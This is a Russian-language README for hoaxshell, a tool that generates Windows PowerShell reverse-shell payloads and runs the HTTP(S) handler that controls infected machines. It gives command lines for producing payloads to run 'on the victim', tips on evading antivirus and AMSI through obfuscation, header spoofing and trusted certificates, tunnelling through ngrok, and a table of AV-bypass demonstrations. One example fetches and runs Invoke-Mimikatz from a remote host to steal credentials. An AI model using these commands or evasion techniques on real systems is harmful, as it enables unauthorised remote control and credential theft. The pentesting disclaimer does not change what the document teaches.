
Генератор и обработчик полезной нагрузки обратной оболочки для Windows, который использует протокол http(s) для установления обратной оболочки с сигнальным режимом (beacon-like).
⚠️ По состоянию на 2022-10-18 hoaxshell обнаруживается AMSI (malware-encyclopedia). Вам необходимо обфусцировать сгенерированную полезную нагрузку, чтобы использовать её. Посмотрите это видео о том, как обфусцировать вручную и обойти MS Defender:
hoaxshell — это генератор полезных нагрузок и обработчик обратной оболочки для Windows, который злоупотребляет протоколом http(s) для установления обратной оболочки по типу маяка, основанной на следующей концепции:

Эта концепция c2 (которая может быть реализована с использованием протоколов, отличных от http, или предустановленных исполняемых файлов) может использоваться для установления сессий, которые создают иллюзию наличия оболочки, но далеки от реального PTY.
HoaxShell хорошо показал себя против антивирусного ПО (смотрите таблицу AV bypass PoCs для дополнительной информации). Хотя теперь он в целом обнаруживается, сгенерированные полезные нагрузки легко обфусцировать с помощью автоматизированных инструментов или вручную.
Отказ от ответственности: Создано исключительно для тестирования и образовательных целей. НЕ запускайте полезные нагрузки, сгенерированные этим инструментом, на хостах, на тестирование которых у вас нет явного разрешения и авторизации. Вы несете ответственность за любые проблемы, которые могут возникнуть из-за использования этого инструмента.
[2022-10-11] Недавнее и отличное видео, созданное John Hammond -> youtube.com/watch?v=fgSARG82TJY
[2022-07-15] Демо оригинального релиза, сделанное мной -> youtube.com/watch?v=SEufgD5UxdU

Больше скриншотов здесь.
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
Важно: В целях избежания обнаружения hoaxshell автоматически генерирует случайные значения для идентификатора сессии, путей URL и имени пользовательского HTTP-заголовка, используемого в процессе, каждый раз при запуске скрипта. Сгенерированная полезная нагрузка будет работать только для того экземпляра, для которого она была создана. Используйте опцию -g, чтобы обойти это поведение и восстановить активную сессию или повторно использовать ранее сгенерированную полезную нагрузку с новым экземпляром hoaxshell.
Когда вы запускаете hoaxshell, он генерирует собственную полезную нагрузку PowerShell, которую вы можете скопировать и внедрить на жертве. По умолчанию полезная нагрузка кодируется в base64 для удобства. Если вам нужна сырая полезная нагрузка, выполните команду подсказки "rawpayload" или запустите hoaxshell с аргументом -r. После выполнения полезной нагрузки на жертве вы сможете выполнять команды PowerShell на ней.
Invoke-Expression (по умолчанию)sudo python3 hoaxshell.py -s <ваш_ip>
Используйте -x, чтобы указать имя файла .ps1 (абсолютный путь), который будет создан на машине жертвы. Перед выполнением проверьте сырую полезную нагрузку, убедитесь, что указанный вами путь корректен.
sudo python3 hoaxshell.py -s <ваш_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Hoaxshell использует HTTP-заголовок для передачи информации о сессии оболочки. По умолчанию заголовку присваивается случайное имя, которое может быть обнаружено AV-правилами на основе регулярных выражений. Используйте -H, чтобы указать стандартное или пользовательское имя HTTP-заголовка для избежания обнаружения.
sudo python3 hoaxshell.py -s <ваш_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <ваш_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Эта конкретная полезная нагрузка является своего рода красным флагом, так как начинается с дополнительного блока кода, который инструктирует PowerShell пропускать проверки SSL-сертификатов, что делает её подозрительной и легко обнаруживаемой, а также значительно увеличивает её длину. Не рекомендуется.
# Создание самоподписанного сертификата:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Передача cert.pem и key.pem в качестве аргументов:
sudo python3 hoaxshell.py -s <ваш_ip> -c </путь/к/cert.pem> -k <путь/к/key.pem>
Если у вас есть домен, используйте эту опцию для генерации более короткой и менее обнаруживаемой https-полезной нагрузки, указав ваше доменное имя с помощью -s вместе с доверенным сертификатом (-c cert.pem -k privkey.pem).
sudo python3 hoaxshell.py -s <ваш.домен.com> -t -c </путь/к/cert.pem> -k <путь/к/key.pem>
Если вы случайно закрыли терминал, произошло отключение электроэнергии или что-то подобное, вы можете запустить hoaxshell в режиме захвата сессии; он попытается восстановить сессию, при условии, что полезная нагрузка всё ещё выполняется на машине жертвы.
sudo python3 hoaxshell.py -s <ваш_ip> -g
Важно: Убедитесь, что вы запускаете hoaxshell с теми же настройками, что и сессия, которую вы пытаетесь восстановить (http/https, порт и т.д.).
Используйте любую вариацию полезной нагрузки с опцией -cm (--constraint-mode), чтобы сгенерировать полезную нагрузку, которая работает, даже если жертва настроена на выполнение PS в режиме ограниченного языка. Используя эту опцию, вы жертвуете небольшой точностью декодирования stdout вашей обратной оболочки.
sudo python3 hoaxshell.py -s <ваш_ip> -cm

Используйте туннелирующие программы Ngrok или LocalTunnel для получения сессий через безопасные туннели, преодолевая такие проблемы, как отсутствие статического IP-адреса или запрет проброса портов вашим интернет-провайдером.
Используйте -ng или --ngrok для сервера Ngrok
sudo python3 hoaxshell.py -ng
Используйте -lt или --localtunnel для сервера LocalTunnel
sudo python3 hoaxshell.py -lt
Оболочка зависнет, если вы выполните команду, которая инициирует интерактивную сессию. Пример:
# Эта команда выполнится успешно и у вас не будет проблем:
> powershell echo 'Это тест'
# Но эта откроет интерактивную сессию внутри сессии hoaxshell и приведет к зависанию оболочки:
> powershell
# Таким же образом у вас не возникнет проблем с выполнением этого:
> cmd /c dir /a
# Но это приведет к зависанию вашего hoaxshell:
> cmd.exe
Итак, если вы, например, захотите запустить mimikatz через hoaxshell, вам нужно будет вызвать команды:
hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'
Короче говоря, нужно быть осторожным, чтобы не запускать исполняемый файл или cmd, который запускает интерактивную сессию в контексте PowerShell hoaxshell.
Некоторые замечательные люди были настолько любезны, что прислали мне/опубликовали PoC-видео выполнения полезных нагрузок hoaxshell против систем, использующих антивирусные решения, отличные от MS Defender, без обнаружения. Ниже приведена справочная таблица со ссылками:
Важно: Я не знаю, можно ли по-прежнему эффективно использовать hoaxshell для обхода этих решений. Разумно предположить, что обнаруживаемость скоро изменится (если уже не изменилась).
13/10/2022 - Добавлена поддержка режима ограниченного языка (-cm).08/10/2022 - Добавлены опции -ng и -lt, которые генерируют полезные нагрузки PS для получения сессий с использованием туннелирующих инструментов ngrok или localtunnel для обхода ограничений, таких как статические IP-адреса и проброс портов.06/09/2022 - Добавлена новая полезная нагрузка, которая записывает команды для выполнения в файл вместо использования Invoke-Expression. Для её использования пользователь должен указать имя файла .ps1 (абсолютный путь) на машине жертвы с помощью опции -x.04/09/2022 - Внесены изменения для улучшения механизма доставки команд, так как он включал компоненты, которые могли быть легко помечены. Добавлена опция -t вместе с https_payload_trusted.ps1. Теперь вы можете использовать hoaxshell, указав доменное имя вместе с доверенным сертификатом. Это сгенерирует более короткую и менее обнаруживаемую https-полезную нагрузку.01/09/2022 - Добавлена опция , которая позволяет пользователям задавать пользовательское имя для (по умолчанию случайного) заголовка, используемого в процессе атаки, несущего идентификатор сессии оболочки. Это делает атаку менее обнаруживаемой, например, при использовании стандартного имени заголовка, например "Authorization".| AV-решение | Дата | PoC |
|---|
| SentinelOne | 2022-10-18 | https://twitter.com/i/status/1582137400880336896 |
| Norton | 2022-10-17 | https://twitter.com/i/status/1582278579244929024 |
| Bitdefender | 2022-10-15 | https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop |
| McAfee | 2022-10-15 | https://twitter.com/i/status/1581605531365814273 |
| Kaspersky | 2022-10-13 | https://www.youtube.com/watch?v=IyMH_eCC4Rk |
| Sophos | 2022-09-08 | https://www.youtube.com/watch?v=NYR0rWx4x8k |
-H31/08/2022 - Добавлена опция -i, которая генерирует полезную нагрузку PS, адаптированную для использования Invoke-RestMethod вместо Invoke-WebRequest, так что теперь пользователь может выбирать (спасибо этому issue). Также исправлена ошибка, существовавшая в подсказке (иногда она портила путь).